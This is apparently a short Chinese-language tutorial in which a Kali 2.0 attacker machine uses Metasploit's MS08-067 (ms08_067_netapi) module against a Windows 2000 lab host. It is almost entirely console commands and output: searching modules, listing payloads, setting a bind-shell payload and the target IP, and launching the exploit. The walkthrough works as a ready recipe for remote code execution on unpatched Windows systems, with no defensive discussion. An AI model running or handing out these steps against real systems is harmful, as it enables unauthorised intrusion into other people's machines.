Use MSF to attack Windows 2000

Author：wnagzihxain
Mail：tudouboom@163.com

攻击场景

- 攻击方：Kali 2.0
- 受害者：Windows 2000
- 受害者IP：192.168.121.130

先搜一下相关

```
msf > search netapi
Matching Modules
================
   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   exploit/windows/smb/ms03_049_netapi  2003-11-11       good    MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow
   exploit/windows/smb/ms06_040_netapi  2006-08-08       good    MS06-040 Microsoft Server Service NetpwPathCanonicalize Overflow
   exploit/windows/smb/ms06_070_wkssvc  2006-11-14       manual  MS06-070 Microsoft Workstation Service NetpManageIPCConnect Overflow
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great   MS08-067 Microsoft Server Service Relative Path Stack Corruption
```

使用这个exp

```
msf > use exploit/windows/smb/ms08_067_netapi
```

显示可用payload也就是shellcode

```
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
   Name                                              Disclosure Date  Rank    Description
   ----                                              ---------------  ----    -----------
   generic/custom                                                     normal  Custom Payload
   generic/debug_trap                                                 normal  Generic x86 Debug Trap
   generic/shell_bind_tcp                                             normal  Generic Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                          normal  Generic Command Shell, Reverse TCP Inline
   generic/tight_loop                                                 normal  Generic x86 Tight Loop
   windows/dllinject/bind_hidden_ipknock_tcp                          normal  Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   windows/dllinject/bind_hidden_tcp                                  normal  Reflective DLL Injection, Hidden Bind TCP Stager
   windows/dllinject/bind_ipv6_tcp                                    normal  Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   windows/dllinject/bind_ipv6_tcp_uuid                               normal  Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/dllinject/bind_nonx_tcp                                    normal  Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   windows/dllinject/bind_tcp                                         normal  Reflective DLL Injection, Bind TCP Stager (Windows x86)
   windows/dllinject/bind_tcp_rc4                                     normal  Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption)
   windows/dllinject/bind_tcp_uuid                                    normal  Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   windows/dllinject/reverse_hop_http                                 normal  Reflective DLL Injection, Reverse Hop HTTP Stager
   windows/dllinject/reverse_http                                     normal  Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   windows/dllinject/reverse_ipv6_tcp                                 normal  Reflective DLL Injection, Reverse TCP Stager (IPv6)
   windows/dllinject/reverse_nonx_tcp                                 normal  Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   windows/dllinject/reverse_ord_tcp                                  normal  Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   windows/dllinject/reverse_tcp                                      normal  Reflective DLL Injection, Reverse TCP Stager
   windows/dllinject/reverse_tcp_allports                             normal  Reflective DLL Injection, Reverse All-Port TCP Stager
   windows/dllinject/reverse_tcp_dns                                  normal  Reflective DLL Injection, Reverse TCP Stager (DNS)
   windows/dllinject/reverse_tcp_rc4                                  normal  Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption)
   windows/dllinject/reverse_tcp_uuid                                 normal  Reflective DLL Injection, Reverse TCP Stager with UUID Support
   windows/dllinject/reverse_winhttp                                  normal  Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   windows/dns_txt_query_exec                                         normal  DNS TXT Record Payload Download and Execution
   windows/exec                                                       normal  Windows Execute Command
   windows/format_all_drives                                          manual  Windows Drive Formatter
   windows/loadlibrary                                                normal  Windows LoadLibrary Path
   windows/messagebox                                                 normal  Windows MessageBox
   windows/meterpreter/bind_hidden_ipknock_tcp                        normal  Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   windows/meterpreter/bind_hidden_tcp                                normal  Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   windows/meterpreter/bind_ipv6_tcp                                  normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   windows/meterpreter/bind_ipv6_tcp_uuid                             normal  Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/meterpreter/bind_nonx_tcp                                  normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   windows/meterpreter/bind_tcp                                       normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   windows/meterpreter/bind_tcp_rc4                                   normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption)
   windows/meterpreter/bind_tcp_uuid                                  normal  Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   windows/meterpreter/reverse_hop_http                               normal  Windows Meterpreter (Reflective Injection), Reverse Hop HTTP Stager
   windows/meterpreter/reverse_http                                   normal  Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   windows/meterpreter/reverse_https                                  normal  Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   windows/meterpreter/reverse_https_proxy                            normal  Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   windows/meterpreter/reverse_ipv6_tcp                               normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   windows/meterpreter/reverse_nonx_tcp                               normal  Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   windows/meterpreter/reverse_ord_tcp                                normal  Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
```

使用这个payload

```
msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
```

设置受害者IP

```
msf exploit(ms08_067_netapi) > set RHOST 192.168.121.130
RHOST => 192.168.121.130
```

然后来看看完整配置选项

```
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
```

```
   RHOST    192.168.121.130  yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/bind_tcp):
   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: , , seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     192.168.121.130  no        The target address
```

然后就是攻击了

```
msf exploit(ms08_067_netapi) > exploit
```